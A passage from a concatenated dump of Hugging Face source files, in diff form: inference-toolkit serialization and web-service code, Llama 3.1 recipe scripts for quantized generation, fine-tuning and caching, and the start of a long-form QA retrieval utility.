+content_type_mapping = {'application/json': Jsoner, 'application/json; charset=UTF-8': Jsoner, 'text/csv': None, 'text/plain': None, 'image/png': Imager, 'image/jpeg': Imager, 'image/jpg': Imager, 'image/tiff': Imager, 'image/bmp': Imager, 'image/gif': Imager, 'image/webp': Imager, 'image/x-image': Imager, 'audio/x-flac': Audioer, 'audio/flac': Audioer, 'audio/mpeg': Audioer, 'audio/x-mpeg-3': Audioer, 'audio/wave': Audioer, 'audio/wav': Audioer, 'audio/x-wav': Audioer, 'audio/ogg': Audioer, 'audio/x-audio': Audioer, 'audio/webm': Audioer, 'audio/webm;codecs=opus': Audioer, 'audio/AMR': Audioer, 'audio/amr': Audioer, 'audio/AMR-WB': Audioer, 'audio/AMR-WB+': Audioer, 'audio/m4a': Audioer, 'audio/x-m4a': Audioer}
+
+class ContentType:
+
+    @staticmethod
+    def get_deserializer(content_type):
+        if content_type in content_type_mapping:
+            return content_type_mapping[content_type]
+        else:
+            message = f'''\n                Content type "{content_type}" not supported.\n                Supported content types are:\n                {', '.join(list(content_type_mapping.keys()))}\n            '''
+            raise Exception(message)
+
+    @staticmethod
+    def get_serializer(accept):
+        if accept in content_type_mapping:
+            return content_type_mapping[accept]
+        else:
+            message = f'''\n                Accept type "{accept}" not supported.\n                Supported accept types are:\n                {', '.join(list(content_type_mapping.keys()))}\n            '''
+            raise Exception(message)
+
+# File: huggingface-inference-toolkit-main/src/huggingface_inference_toolkit/serialization/image_utils.py
+from io import BytesIO
+from PIL import Image
+
+class Imager:
+
+    @staticmethod
+    def deserialize(body):
+        image = Image.open(BytesIO(body)).convert('RGB')
+        return {'inputs': image}
+
+    @staticmethod
+    def serialize(image, accept=None):
+        if isinstance(image, Image.Image):
+            img_byte_arr = BytesIO()
+            image.save(img_byte_arr, format=accept.split('/')[-1].upper())
+            img_byte_arr = img_byte_arr.getvalue()
+            return img_byte_arr
+        else:
+            raise ValueError(f'Can only serialize PIL.Image.Image, got {type(image)}')
+
+# File: huggingface-inference-toolkit-main/src/huggingface_inference_toolkit/serialization/json_utils.py
+import base64
+from io import BytesIO
+import orjson
+from PIL import Image
+
+def default(obj):
+    if isinstance(obj, Image.Image):
+        with BytesIO() as out:
+            obj.save(out, format='PNG')
+            png_string = out.getvalue()
+            return base64.b64encode(png_string).decode('utf-8')
+    raise TypeError
+
+class Jsoner:
+
+    @staticmethod
+    def deserialize(body):
+        return orjson.loads(body)
+
+    @staticmethod
+    def serialize(body, accept=None):
+        return orjson.dumps(body, option=orjson.OPT_SERIALIZE_NUMPY, default=default)
+
+# File: huggingface-inference-toolkit-main/src/huggingface_inference_toolkit/utils.py
+import importlib.util
+import sys
+from pathlib import Path
+from typing import Optional, Union
+from huggingface_hub import HfApi, login, snapshot_download
+from transformers import WhisperForConditionalGeneration, pipeline
+from transformers.file_utils import is_tf_available, is_torch_available
+from transformers.pipelines import Pipeline
+from huggingface_inference_toolkit.const import HF_DEFAULT_PIPELINE_NAME, HF_MODULE_NAME
+from huggingface_inference_toolkit.diffusers_utils import get_diffusers_pipeline, is_diffusers_available
+from huggingface_inference_toolkit.logging import logger
+from huggingface_inference_toolkit.optimum_utils import get_optimum_neuron_pipeline, is_optimum_neuron_available
+from huggingface_inference_toolkit.sentence_transformers_utils import get_sentence_transformers_pipeline, is_sentence_transformers_available
+if is_tf_available():
+    import tensorflow as tf
+if is_torch_available():
+    import torch
+_optimum_available = importlib.util.find_spec('optimum') is not None
+
+def is_optimum_available():
+    return False
+framework2weight = {'pytorch': 'pytorch*', 'tensorflow': 'tf*', 'tf': 'tf*', 'pt': 'pytorch*', 'flax': 'flax*', 'rust': 'rust*', 'onnx': '*onnx*', 'safetensors': '*safetensors', 'coreml': '*mlmodel', 'tflite': '*tflite', 'savedmodel': '*tar.gz', 'openvino': '*openvino*', 'ckpt': '*ckpt'}
+
+def create_artifact_filter(framework):
+    ignore_regex_list = list(set(framework2weight.values()))
+    pattern = framework2weight.get(framework, None)
+    if pattern in ignore_regex_list:
+        ignore_regex_list.remove(pattern)
+        return ignore_regex_list
+    else:
+        return []
+
+def _is_gpu_available():
+    if is_tf_available():
+        return True if len(tf.config.list_physical_devices('GPU')) > 0 else False
+    elif is_torch_available():
+        return torch.cuda.is_available()
+    else:
+        raise RuntimeError('At least one of TensorFlow 2.0 or PyTorch should be installed. To install TensorFlow 2.0, read the instructions at https://www.tensorflow.org/install/ To install PyTorch, read the instructions at https://pytorch.org/.')
+
+def _get_framework():
+    if is_torch_available():
+        return 'pytorch'
+    elif is_tf_available():
+        return 'tensorflow'
+    else:
+        raise RuntimeError('At least one of TensorFlow 2.0 or PyTorch should be installed. To install TensorFlow 2.0, read the instructions at https://www.tensorflow.org/install/ To install PyTorch, read the instructions at https://pytorch.org/.')
+
+def _load_repository_from_hf(repository_id: Optional[str]=None, target_dir: Optional[Union[str, Path]]=None, framework: Optional[str]=None, revision: Optional[str]=None, hf_hub_token: Optional[str]=None):
+    if hf_hub_token is not None:
+        login(token=hf_hub_token)
+    if framework is None:
+        framework = _get_framework()
+    if isinstance(target_dir, str):
+        target_dir = Path(target_dir)
+    if not target_dir.exists():
+        target_dir.mkdir(parents=True)
+    if framework == 'pytorch':
+        files = HfApi().model_info(repository_id).siblings
+        if any((f.rfilename.endswith('safetensors') for f in files)):
+            framework = 'safetensors'
+    ignore_regex = create_artifact_filter(framework)
+    logger.info(f"Ignore regex pattern for files, which are not downloaded: {', '.join(ignore_regex)}")
+    snapshot_download(repo_id=repository_id, revision=revision, local_dir=str(target_dir), local_dir_use_symlinks=False, ignore_patterns=ignore_regex)
+    return target_dir
+
+def check_and_register_custom_pipeline_from_directory(model_dir):
+    custom_module = Path(model_dir).joinpath(HF_DEFAULT_PIPELINE_NAME)
+    legacy_module = Path(model_dir).joinpath('pipeline.py')
+    if custom_module.is_file():
+        logger.info(f'Found custom pipeline at {custom_module}')
+        spec = importlib.util.spec_from_file_location(HF_MODULE_NAME, custom_module)
+        if spec:
+            sys.path.insert(0, model_dir)
+            handler = importlib.util.module_from_spec(spec)
+            sys.modules[HF_MODULE_NAME] = handler
+            spec.loader.exec_module(handler)
+            custom_pipeline = handler.EndpointHandler(model_dir)
+    elif legacy_module.is_file():
+        logger.warning('You are using a legacy custom pipeline.\n            Please update to the new format.\n            See documentation for more information.')
+        spec = importlib.util.spec_from_file_location('pipeline.PreTrainedPipeline', legacy_module)
+        if spec:
+            sys.path.insert(0, model_dir)
+            pipeline = importlib.util.module_from_spec(spec)
+            sys.modules['pipeline.PreTrainedPipeline'] = pipeline
+            spec.loader.exec_module(pipeline)
+            custom_pipeline = pipeline.PreTrainedPipeline(model_dir)
+    else:
+        logger.info(f'No custom pipeline found at {custom_module}')
+        custom_pipeline = None
+    return custom_pipeline
+
+def get_device():
+    gpu = _is_gpu_available()
+    if gpu:
+        return 0
+    else:
+        return -1
+
+def get_pipeline(task: str, model_dir: Path, **kwargs) -> Pipeline:
+    device = get_device()
+    if is_optimum_neuron_available():
+        logger.info('Using device Neuron')
+    else:
+        logger.info(f"Using device {('GPU' if device == 0 else 'CPU')}")
+    if task is None:
+        raise EnvironmentError('The task for this model is not set: Please set one: https://huggingface.co/docs#how-is-a-models-type-of-inference-api-and-widget-determined')
+    if task in {'automatic-speech-recognition', 'image-segmentation', 'image-classification', 'audio-classification', 'object-detection', 'zero-shot-image-classification'}:
+        kwargs['feature_extractor'] = model_dir
+    elif task in {'image-to-text', 'text-to-image'}:
+        pass
+    elif task == 'conversational':
+        task = 'text-generation'
+    else:
+        kwargs['tokenizer'] = model_dir
+    if is_optimum_neuron_available():
+        hf_pipeline = get_optimum_neuron_pipeline(task=task, model_dir=model_dir)
+    elif is_sentence_transformers_available() and task in ['sentence-similarity', 'sentence-embeddings', 'sentence-ranking']:
+        hf_pipeline = get_sentence_transformers_pipeline(task=task, model_dir=model_dir, device=device, **kwargs)
+    elif is_diffusers_available() and task == 'text-to-image':
+        hf_pipeline = get_diffusers_pipeline(task=task, model_dir=model_dir, device=device, **kwargs)
+    else:
+        hf_pipeline = pipeline(task=task, model=model_dir, device=device, **kwargs)
+    if task == 'automatic-speech-recognition' and isinstance(hf_pipeline.model, WhisperForConditionalGeneration):
+        hf_pipeline._preprocess_params['chunk_length_s'] = 30
+        hf_pipeline.model.config.forced_decoder_ids = hf_pipeline.tokenizer.get_decoder_prompt_ids(language='english', task='transcribe')
+    return hf_pipeline
+
+def convert_params_to_int_or_bool(params):
+    for (k, v) in params.items():
+        if v.isnumeric():
+            params[k] = int(v)
+        if v == 'false':
+            params[k] = False
+        if v == 'true':
+            params[k] = True
+    return params
+
+# File: huggingface-inference-toolkit-main/src/huggingface_inference_toolkit/vertex_ai_utils.py
+import re
+from pathlib import Path
+from typing import Union
+from huggingface_inference_toolkit.logging import logger
+GCS_URI_PREFIX = 'gs://'
+
+def _load_repository_from_gcs(artifact_uri: str, target_dir: Union[str, Path]='/tmp') -> str:
+    from google.cloud import storage
+    logger.info(f'Loading model artifacts from {artifact_uri} to {target_dir}')
+    if isinstance(target_dir, str):
+        target_dir = Path(target_dir)
+    if artifact_uri.startswith(GCS_URI_PREFIX):
+        matches = re.match(f'{GCS_URI_PREFIX}(.*?)/(.*)', artifact_uri)
+        (bucket_name, prefix) = matches.groups()
+        gcs_client = storage.Client()
+        blobs = gcs_client.list_blobs(bucket_name, prefix=prefix)
+        for blob in blobs:
+            name_without_prefix = blob.name[len(prefix):]
+            name_without_prefix = name_without_prefix[1:] if name_without_prefix.startswith('/') else name_without_prefix
+            file_split = name_without_prefix.split('/')
+            directory = target_dir / Path(*file_split[0:-1])
+            directory.mkdir(parents=True, exist_ok=True)
+            if name_without_prefix and (not name_without_prefix.endswith('/')):
+                blob.download_to_filename(target_dir / name_without_prefix)
+    return str(target_dir.absolute())
+
+# File: huggingface-inference-toolkit-main/src/huggingface_inference_toolkit/webservice_starlette.py
+import os
+from pathlib import Path
+from time import perf_counter
+import orjson
+from starlette.applications import Starlette
+from starlette.responses import PlainTextResponse, Response
+from starlette.routing import Route
+from huggingface_inference_toolkit.async_utils import async_handler_call
+from huggingface_inference_toolkit.const import HF_FRAMEWORK, HF_HUB_TOKEN, HF_MODEL_DIR, HF_MODEL_ID, HF_REVISION, HF_TASK
+from huggingface_inference_toolkit.handler import get_inference_handler_either_custom_or_default_handler
+from huggingface_inference_toolkit.logging import logger
+from huggingface_inference_toolkit.serialization.base import ContentType
+from huggingface_inference_toolkit.serialization.json_utils import Jsoner
+from huggingface_inference_toolkit.utils import _load_repository_from_hf, convert_params_to_int_or_bool
+from huggingface_inference_toolkit.vertex_ai_utils import _load_repository_from_gcs
+
+async def prepare_model_artifacts():
+    global inference_handler
+    if len(list(Path(HF_MODEL_DIR).glob('**/*'))) <= 0:
+        if HF_MODEL_ID is not None:
+            _load_repository_from_hf(repository_id=HF_MODEL_ID, target_dir=HF_MODEL_DIR, framework=HF_FRAMEWORK, revision=HF_REVISION, hf_hub_token=HF_HUB_TOKEN)
+        elif len(os.environ.get('AIP_STORAGE_URI', '')) > 0:
+            _load_repository_from_gcs(os.environ['AIP_STORAGE_URI'], target_dir=HF_MODEL_DIR)
+        else:
+            raise ValueError(f"Can't initialize model.\n                Please set env HF_MODEL_DIR or provider a HF_MODEL_ID.\n                Provided values are:\n                HF_MODEL_DIR: {HF_MODEL_DIR} and HF_MODEL_ID:{HF_MODEL_ID}")
+    logger.info(f'Initializing model from directory:{HF_MODEL_DIR}')
+    inference_handler = get_inference_handler_either_custom_or_default_handler(HF_MODEL_DIR, task=HF_TASK)
+    logger.info('Model initialized successfully')
+
+async def health(request):
+    return PlainTextResponse('Ok')
+
+async def predict(request):
+    try:
+        content_type = request.headers.get('content-Type', None)
+        deserialized_body = ContentType.get_deserializer(content_type).deserialize(await request.body())
+        if 'inputs' not in deserialized_body and 'instances' not in deserialized_body:
+            raise ValueError(f'Body needs to provide a inputs key, received: {orjson.dumps(deserialized_body)}')
+        if request.query_params and 'parameters' not in deserialized_body:
+            deserialized_body['parameters'] = convert_params_to_int_or_bool(dict(request.query_params))
+        start_time = perf_counter()
+        pred = await async_handler_call(inference_handler, deserialized_body)
+        logger.info(f'POST {request.url.path} | Duration: {(perf_counter() - start_time) * 1000:.2f} ms')
+        accept = request.headers.get('accept', None)
+        if accept is None or accept == '*/*':
+            accept = 'application/json'
+        serialized_response_body = ContentType.get_serializer(accept).serialize(pred, accept)
+        return Response(serialized_response_body, media_type=accept)
+    except Exception as e:
+        logger.error(e)
+        return Response(Jsoner.serialize({'error': str(e)}), status_code=400, media_type='application/json')
+if os.getenv('AIP_MODE', None) == 'PREDICTION':
+    logger.info('Running in Vertex AI environment')
+    _predict_route = os.getenv('AIP_PREDICT_ROUTE', None)
+    _health_route = os.getenv('AIP_HEALTH_ROUTE', None)
+    if _predict_route is None or _health_route is None:
+        raise ValueError('AIP_PREDICT_ROUTE and AIP_HEALTH_ROUTE need to be set in Vertex AI environment')
+    app = Starlette(debug=False, routes=[Route(_health_route, health, methods=['GET']), Route(_predict_route, predict, methods=['POST'])], on_startup=[prepare_model_artifacts])
+else:
+    app = Starlette(debug=False, routes=[Route('/', health, methods=['GET']), Route('/health', health, methods=['GET']), Route('/', predict, methods=['POST']), Route('/predict', predict, methods=['POST'])], on_startup=[prepare_model_artifacts])
+

huggingface_huggingface-llama-recipes.txt

@@ -0,0 +1,141 @@
+# File: huggingface-llama-recipes-main/assisted_decoding.py
+from transformers import AutoModelForCausalLM, AutoTokenizer
+import time
+import torch
+WARMUP = 2
+MAX_NEW_TOKENS = 10
+DO_SAMPLE = True
+ATOL = 1e-06
+TORCH_DTYPE = torch.float32
+PROMPT = 'Alice and Bob '
+CHECKPOINT = 'meta-llama/Meta-Llama-3-405B'
+ASSISTED_CHECKPOINT = 'meta-llama/Meta-Llama-3.1-8B'
+model = AutoModelForCausalLM.from_pretrained(CHECKPOINT, device_map='auto', torch_dtype=TORCH_DTYPE)
+assistant_model = AutoModelForCausalLM.from_pretrained(ASSISTED_CHECKPOINT, device_map='auto', torch_dtype=TORCH_DTYPE)
+tokenizer = AutoTokenizer.from_pretrained(CHECKPOINT)
+inputs = tokenizer(PROMPT, return_tensors='pt').to(model.device)
+for _ in range(WARMUP):
+    model.generate(**inputs, assistant_model=assistant_model)
+start = time.time()
+assisted_outputs = model.generate(**inputs, assistant_model=assistant_model)
+end = time.time()
+assisted_gen_text = tokenizer.batch_decode(assisted_outputs, skip_special_tokens=True)
+print(assisted_gen_text)
+print(f'\nAssisted time taken: {end - start:.2f}s')
+
+# File: huggingface-llama-recipes-main/awq_generation.py
+import torch
+from transformers import AutoModelForCausalLM, AutoTokenizer, AwqConfig
+model_id = 'hugging-quants/Meta-Llama-3.1-405B-Instruct-AWQ-INT4'
+quantization_config = AwqConfig(bits=4, fuse_max_seq_len=512, do_fuse=True)
+tokenizer = AutoTokenizer.from_pretrained(model_id)
+model = AutoModelForCausalLM.from_pretrained(model_id, torch_dtype=torch.float16, low_cpu_mem_usage=True, device_map='auto', quantization_config=quantization_config)
+messages = [{'role': 'system', 'content': 'You are a pirate'}, {'role': 'user', 'content': "What's Deep Leaning?"}]
+inputs = tokenizer.apply_chat_template(messages, tokenize=True, add_generation_prompt=True, return_tensors='pt', return_dict=True).to('cuda')
+outputs = model.generate(**inputs, do_sample=True, max_new_tokens=256)
+print(tokenizer.batch_decode(outputs, skip_special_tokens=True))
+
+# File: huggingface-llama-recipes-main/gptq_generation.py
+import torch
+from transformers import AutoModelForCausalLM, AutoTokenizer
+model_id = 'hugging-quants/Meta-Llama-3.1-405B-Instruct-GPTQ-INT4'
+messages = [{'role': 'system', 'content': 'You are a pirate'}, {'role': 'user', 'content': "What's Deep Leaning?"}]
+tokenizer = AutoTokenizer.from_pretrained(model_id)
+model = AutoModelForCausalLM.from_pretrained(model_id, torch_dtype=torch.float16, low_cpu_mem_usage=True, device_map='auto')
+inputs = tokenizer.apply_chat_template(messages, tokenize=True, add_generation_prompt=True, return_tensors='pt', return_dict=True).to('cuda')
+outputs = model.generate(**inputs, do_sample=True, max_new_tokens=256)
+print(tokenizer.batch_decode(outputs, skip_special_tokens=True))
+
+# File: huggingface-llama-recipes-main/peft_finetuning.py
+import torch
+from datasets import load_dataset
+from trl import SFTTrainer
+from peft import LoraConfig
+from transformers import AutoTokenizer, AutoModelForCausalLM, BitsAndBytesConfig, TrainingArguments
+model_id = 'meta-llama/Meta-Llama-3.1-8B'
+tokenizer = AutoTokenizer.from_pretrained(model_id)
+model = AutoModelForCausalLM.from_pretrained(model_id)
+dataset = load_dataset('imdb', split='train')
+training_args = TrainingArguments(output_dir='./results', num_train_epochs=3, per_device_train_batch_size=4, logging_dir='./logs', logging_steps=10)
+QLoRA = True
+if QLoRA:
+    quantization_config = BitsAndBytesConfig(load_in_4bit=True, bnb_4bit_compute_dtype=torch.float16, bnb_4bit_quant_type='nf4')
+    lora_config = LoraConfig(r=8, target_modules='all-linear', bias='none', task_type='CAUSAL_LM')
+else:
+    lora_config = None
+trainer = SFTTrainer(model=model, tokenizer=tokenizer, args=training_args, peft_config=lora_config, train_dataset=dataset, dataset_text_field='text')
+trainer.train()
+
+# File: huggingface-llama-recipes-main/prompt_reuse.py
+import os, torch, copy
+from transformers import AutoModelForCausalLM, AutoTokenizer, DynamicCache
+device = 'cuda'
+ckpt = 'meta-llama/Meta-Llama-3.1-8B-Instruct'
+INITIAL_PROMPT = 'From now on, you are going to answer all my questions with historical details. Make sure to always add a bit of french here and there, for style.'
+model = AutoModelForCausalLM.from_pretrained(ckpt, torch_dtype=torch.float16)
+model.to(device)
+tokenizer = AutoTokenizer.from_pretrained(ckpt)
+prompt_cache = DynamicCache()
+inputs = tokenizer(INITIAL_PROMPT, return_tensors='pt').to('cuda')
+prompt_cache = model(**inputs, past_key_values=prompt_cache).past_key_values
+prompt = 'Why are french people obsessed with french?'
+new_inputs = tokenizer(INITIAL_PROMPT + prompt, return_tensors='pt').to('cuda')
+past_key_values = copy.deepcopy(prompt_cache)
+outputs = model.generate(**new_inputs, past_key_values=past_key_values, max_new_tokens=20)
+response = tokenizer.batch_decode(outputs)[0]
+print(response)
+''
+prompt = 'What is the best city to swim in?'
+new_inputs = tokenizer(INITIAL_PROMPT + prompt, return_tensors='pt').to('cuda')
+outputs = model.generate(**new_inputs, past_key_values=copy.deepcopy(prompt_cache), max_new_tokens=20)
+response = tokenizer.batch_decode(outputs)[0]
+print(response)
+''
+
+# File: huggingface-llama-recipes-main/quantized_cache.py
+import os
+import torch
+from transformers import AutoModelForCausalLM, AutoTokenizer
+device = 'cuda'
+ckpt = 'meta-llama/Meta-Llama-3.1-8B-Instruct'
+model = AutoModelForCausalLM.from_pretrained(ckpt, torch_dtype=torch.float16)
+model.to(device)
+tokenizer = AutoTokenizer.from_pretrained(ckpt)
+prompt = 'Explain the thre body problem'
+inputs = tokenizer(prompt, return_tensors='pt').to('cuda')
+outputs = model.generate(**inputs, cache_implementation='quantized', do_sample=True, max_new_tokens=256)
+response = tokenizer.batch_decode(outputs)[0]
+print(response)
+''
+from transformers import QuantizedCacheConfig
+cache_config = QuantizedCacheConfig(backend='HQQ', nbits=4, axis_key=0, axis_value=1, compute_dtype=torch.float16, device=model.device)
+out = model.generate(**inputs, do_sample=False, max_new_tokens=30, cache_implementation='quantized', cache_config=cache_config)
+print(tokenizer.batch_decode(out, skip_special_tokens=True))
+''
+
+# File: huggingface-llama-recipes-main/torch_compile.py
+import os
+import torch
+from transformers import AutoModelForCausalLM, AutoTokenizer
+os.environ['TOKENIZERS_PARALLELISM'] = 'false'
+device = 'cuda'
+ckpt = 'meta-llama/Meta-Llama-3.1-8B-Instruct'
+model = AutoModelForCausalLM.from_pretrained(ckpt, torch_dtype=torch.float16)
+model.to(device)
+tokenizer = AutoTokenizer.from_pretrained(ckpt)
+prompt = 'Why dogs are so cute?'
+inputs = tokenizer(prompt, return_tensors='pt').to(device)
+model.generation_config.max_length = 128
+outputs = model.generate(**inputs, do_sample=False)
+response = tokenizer.batch_decode(outputs)[0]
+print(response)
+model.forward = torch.compile(model.forward, mode='reduce-overhead', fullgraph=True)
+model.generation_config.cache_implementation = 'static'
+outputs = model.generate(**inputs, do_sample=False)
+response = tokenizer.batch_decode(outputs)[0]
+outputs = model.generate(**inputs, do_sample=False)
+response = tokenizer.batch_decode(outputs)[0]
+outputs = model.generate(**inputs, do_sample=False)
+response = tokenizer.batch_decode(outputs)[0]
+print(response)
+

huggingface_notebooks.txt

@@ -0,0 +1,1057 @@
+# File: notebooks-main/longform-qa/lfqa_utils.py
+import functools
+import math
+import os
+from random import choice, randint
+from time import time
+import numpy as np
+import torch
+import torch.utils.checkpoint as checkpoint
+from torch.utils.data import DataLoader, Dataset, RandomSampler, SequentialSampler
+from tqdm import tqdm
+import faiss
+import nlp
+import pandas as pd
+from elasticsearch import Elasticsearch
+from elasticsearch.helpers import bulk, streaming_bulk
+from transformers import AdamW, AutoModel, AutoModelForSeq2SeqLM, AutoTokenizer, get_linear_schedule_with_warmup
+pd.set_option('display.max_colwidth', None)
+
+def make_es_index_snippets(es_client, passages_dset, index_name='english_wiki_kilt_snippets_100w'):
+    index_config = {'settings': {'number_of_shards': 1, 'analysis': {'analyzer': {'stop_standard': {'type': 'standard', ' stopwords': '_english_'}}}}, 'mappings': {'properties': {'article_title': {'type': 'text', 'analyzer': 'standard', 'similarity': 'BM25'}, 'section_title': {'type': 'text', 'analyzer': 'standard', 'similarity': 'BM25'}, 'passage_text': {'type': 'text', 'analyzer': 'standard', 'similarity': 'BM25'}}}}
+    es_client.indices.create(index=index_name, body=index_config)
+    number_of_docs = passages_dset.num_rows
+    progress = tqdm(unit='docs', total=number_of_docs)
+    successes = 0
+
+    def passage_generator():
+        for passage in passages_dset:
+            yield passage
+    for (ok, action) in streaming_bulk(client=es_client, index=index_name, actions=passage_generator()):
+        progress.update(1)
+        successes += ok
+    print('Indexed %d documents' % (successes,))
+
+def query_es_index(question, es_client, index_name='english_wiki_kilt_snippets_100w', n_results=10, min_length=20):
+    q = question.lower()
+    banned = ['how', 'why', 'what', 'where', 'which', 'do', 'does', 'is', '?', 'eli5', 'eli5:']
+    q = ' '.join([w for w in q.split() if w not in banned])
+    response = es_client.search(index=index_name, body={'query': {'multi_match': {'query': q, 'fields': ['article_title', 'section_title', 'passage_text^2'], 'type': 'cross_fields'}}, 'size': 2 * n_results})
+    hits = response['hits']['hits']
+    support_doc = '<P> ' + ' <P> '.join([hit['_source']['passage_text'] for hit in hits])
+    res_list = [dict([(k, hit['_source'][k]) for k in hit['_source'] if k != 'passage_text']) for hit in hits]
+    for (r, hit) in zip(res_list, hits):
+        r['passage_id'] = hit['_id']
+        r['score'] = hit['_score']
+        r['passage_text'] = hit['_source']['passage_text']
+    res_list = [res for res in res_list if len(res['passage_text'].split()) > min_length][:n_results]
+    return (support_doc, res_list)
+
+class ELI5DatasetQARetriver(Dataset):
+
+    def __init__(self, examples_array, extra_answer_threshold=3, min_answer_length=64, training=True, n_samples=None):
+        self.data = examples_array
+        self.answer_thres = extra_answer_threshold
+        self.min_length = min_answer_length
+        self.training = training
+        self.n_samples = self.data.num_rows if n_samples is None else n_samples
+
+    def __len__(self):
+        return self.n_samples
+
+    def make_example(self, idx):
+        example = self.data[idx]
+        question = example['title']
+        if self.training:
+            answers = [a for (i, (a, sc)) in enumerate(zip(example['answers']['text'], example['answers']['score']))]
+            answer_tab = choice(answers).split(' ')
+            start_idx = randint(0, max(0, len(answer_tab) - self.min_length))
+            answer_span = ' '.join(answer_tab[start_idx:])
+        else:
+            answer_span = example['answers']['text'][0]
+        return (question, answer_span)
+
+    def __getitem__(self, idx):
+        return self.make_example(idx % self.data.num_rows)
+
+class RetrievalQAEmbedder(torch.nn.Module):
+
+    def __init__(self, sent_encoder, dim):
+        super(RetrievalQAEmbedder, self).__init__()
+        self.sent_encoder = sent_encoder
+        self.output_dim = 128
+        self.project_q = torch.nn.Linear(dim, self.output_dim, bias=False)
+        self.project_a = torch.nn.Linear(dim, self.output_dim, bias=False)
+        self.ce_loss = torch.nn.CrossEntropyLoss(reduction='mean')
+
+    def embed_sentences_checkpointed(self, input_ids, attention_mask, checkpoint_batch_size=-1):
+        if checkpoint_batch_size < 0 or input_ids.shape[0] < checkpoint_batch_size:
+            return self.sent_encoder(input_ids, attention_mask=attention_mask)[1]
+        else:
+            device = input_ids.device
+            input_shape = input_ids.size()
+            token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=device)
+            head_mask = [None] * self.sent_encoder.config.num_hidden_layers
+            extended_attention_mask: torch.Tensor = self.sent_encoder.get_extended_attention_mask(attention_mask, input_shape, device)
+
+            def partial_encode(*inputs):
+                encoder_outputs = self.sent_encoder.encoder(inputs[0], attention_mask=inputs[1], head_mask=head_mask)
+                sequence_output = encoder_outputs[0]
+                pooled_output = self.sent_encoder.pooler(sequence_output)
+                return pooled_output
+            embedding_output = self.sent_encoder.embeddings(input_ids=input_ids, position_ids=None, token_type_ids=token_type_ids, inputs_embeds=None)
+            pooled_output_list = []
+            for b in range(math.ceil(input_ids.shape[0] / checkpoint_batch_size)):
+                b_embedding_output = embedding_output[b * checkpoint_batch_size:(b + 1) * checkpoint_batch_size]
+                b_attention_mask = extended_attention_mask[b * checkpoint_batch_size:(b + 1) * checkpoint_batch_size]
+                pooled_output = checkpoint.checkpoint(partial_encode, b_embedding_output, b_attention_mask)
+                pooled_output_list.append(pooled_output)
+            return torch.cat(pooled_output_list, dim=0)
+
+    def embed_questions(self, q_ids, q_mask, checkpoint_batch_size=-1):
+        q_reps = self.embed_sentences_checkpointed(q_ids, q_mask, checkpoint_batch_size)
+        return self.project_q(q_reps)
+
+    def embed_answers(self, a_ids, a_mask, checkpoint_batch_size=-1):
+        a_reps = self.embed_sentences_checkpointed(a_ids, a_mask, checkpoint_batch_size)
+        return self.project_a(a_reps)
+
+    def forward(self, q_ids, q_mask, a_ids, a_mask, checkpoint_batch_size=-1):
+        device = q_ids.device
+        q_reps = self.embed_questions(q_ids, q_mask, checkpoint_batch_size)
+        a_reps = self.embed_answers(a_ids, a_mask, checkpoint_batch_size)
+        compare_scores = torch.mm(q_reps, a_reps.t())
+        loss_qa = self.ce_loss(compare_scores, torch.arange(compare_scores.shape[1]).to(device))
+        loss_aq = self.ce_loss(compare_scores.t(), torch.arange(compare_scores.shape[0]).to(device))
+        loss = (loss_qa + loss_aq) / 2
+        return loss
+
+def make_qa_retriever_model(model_name='google/bert_uncased_L-8_H-512_A-8', from_file=None, device='cuda:0'):
+    tokenizer = AutoTokenizer.from_pretrained(model_name)
+    bert_model = AutoModel.from_pretrained(model_name).to(device)
+    d_ids = torch.LongTensor([[bert_model.config.bos_token_id if bert_model.config.bos_token_id is not None else 1]]).to(device)
+    d_mask = torch.LongTensor([[1]]).to(device)
+    sent_dim = bert_model(d_ids, attention_mask=d_mask)[1].shape[-1]
+    qa_embedder = RetrievalQAEmbedder(bert_model, sent_dim).to(device)
+    if from_file is not None:
+        param_dict = torch.load(from_file)
+        qa_embedder.load_state_dict(param_dict['model'])
+    return (tokenizer, qa_embedder)
+
+def make_qa_retriever_batch(qa_list, tokenizer, max_len=64, device='cuda:0'):
+    q_ls = [q for (q, a) in qa_list]
+    a_ls = [a for (q, a) in qa_list]
+    q_toks = tokenizer.batch_encode_plus(q_ls, max_length=max_len, pad_to_max_length=True)
+    (q_ids, q_mask) = (torch.LongTensor(q_toks['input_ids']).to(device), torch.LongTensor(q_toks['attention_mask']).to(device))
+    a_toks = tokenizer.batch_encode_plus(a_ls, max_length=max_len, pad_to_max_length=True)
+    (a_ids, a_mask) = (torch.LongTensor(a_toks['input_ids']).to(device), torch.LongTensor(a_toks['attention_mask']).to(device))
+    return (q_ids, q_mask, a_ids, a_mask)
+
+def train_qa_retriever_epoch(model, dataset, tokenizer, optimizer, scheduler, args, e=0):
+    model.train()
+    train_sampler = RandomSampler(dataset)
+    model_collate_fn = functools.partial(make_qa_retriever_batch, tokenizer=tokenizer, max_len=args.max_length, device='cuda:0')
+    data_loader = DataLoader(dataset, batch_size=args.batch_size, sampler=train_sampler, collate_fn=model_collate_fn)
+    epoch_iterator = tqdm(data_loader, desc='Iteration', disable=True)
+    loc_steps = 0
+    loc_loss = 0.0
+    st_time = time()
+    for (step, batch) in enumerate(epoch_iterator):
+        (q_ids, q_mask, a_ids, a_mask) = batch
+        pre_loss = model(q_ids, q_mask, a_ids, a_mask, checkpoint_batch_size=args.checkpoint_batch_size)
+        loss = pre_loss.sum()
+        loss.backward()
+        optimizer.step()
+        scheduler.step()
+        model.zero_grad()
+        loc_loss += loss.item()
+        loc_steps += 1
+        if step % args.print_freq == 0 or step == 1:
+            print('{:2d} {:5d} of {:5d} \t L: {:.3f} \t -- {:.3f}'.format(e, step, len(dataset) // args.batch_size, loc_loss / loc_steps, time() - st_time))
+            loc_loss = 0
+            loc_steps = 0
+
+def train_qa_retriever_joint_epoch(model, dataset_list, tokenizer, optimizer, scheduler, args, e=0):
+    model.train()
+    model_collate_fn = functools.partial(make_qa_retriever_batch, tokenizer=tokenizer, max_len=args.max_length, device='cuda:0')
+    train_samplers = [RandomSampler(dataset) for dataset in dataset_list]
+    data_loaders = [DataLoader(dataset, batch_size=args.batch_size, sampler=train_sampler, collate_fn=model_collate_fn) for (dataset, train_sampler) in zip(dataset_list, train_samplers)]
+    iterators = [iter(dloader) for dloader in data_loaders]
+    joint_iter = zip(*iterators)
+    loc_steps = 0
+    loc_loss = 0.0
+    st_time = time()
+    for (step, (batches,)) in enumerate(zip(joint_iter)):
+        for batch in batches:
+            (q_ids, q_mask, a_ids, a_mask) = batch
